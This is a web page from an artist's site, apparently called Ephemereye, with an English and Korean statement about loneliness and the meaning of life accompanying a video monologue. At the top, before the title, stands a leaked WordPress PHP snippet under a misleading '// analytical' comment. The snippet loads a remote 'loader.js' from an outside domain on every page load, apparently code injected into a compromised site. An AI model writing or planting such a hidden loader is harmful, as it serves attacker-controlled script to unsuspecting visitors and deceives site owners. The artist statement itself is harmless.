// analytical function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Life's universal validity has been made in the gap between meaning and meaninglessness(No music sound version) - Ephemereye : Ephemereye

Life’s universal validity has been made in the gap between meaning and meaninglessness(No music sound version)

https://vimeo.com/manage/videos/97774210

The work is monologue as quite small part of my life.

When I am depressed by extreme loneliness for staying in empty space,
I can recognize that my another existence have existed in my inner world.
Seeing, Thinking, Feeling, listening….these are just factors to reveal my inner world.

The moment and the space in the empty room make that I mediate my universal life in loneliness.
Although I can feel my existence, I know I can’t see absolute existence.
Although I am in solitude, I know I can’t avoid solitude as it is one part of my life.

I have been curious the meaning about my life.
Also, I have been curiouos the direction of my life.
I know the existence that is reflected in my inner world is not absolute.

My behavior and words for the monologue demonstrate by the moment that the conflict with
inner and exterior world causes. This is my essence. It is me.

하루의 일과를 마치고 혼자 머무는 방 안에 들어설 때면,
어디선가 모르게 날카롭고 차가운 바람이 불어 마음 속 깊은 곳까지 스며든다.
오늘 하루도 많은 사람들과 관계를 맺고, 자아와의 철저한 투쟁을 벌이며
해가 지는 순간만을 기다려왔다.
아무도 기다려주지 않는 이 방안에서,
나를 기다리고 있는 것은 수고에 대한 보상보다는 외로움과 향수만 존재한다.

언제나 외로움은 나의 삶의 타당성에 대하여 이야기하기를 보챈다.
나의 삶의 ‘의미’는 무엇을 말하며, ‘의미’하지 않는 것은 무엇을 말하는지
나의 가슴과 심장의 떨림과 울림으로 자극한다.

방 안에서 외로움과의 갈등으로
독백을 시작하고 기록함으로써
내 삶의 보편성을 있는 그대로 표현하고자 하였다.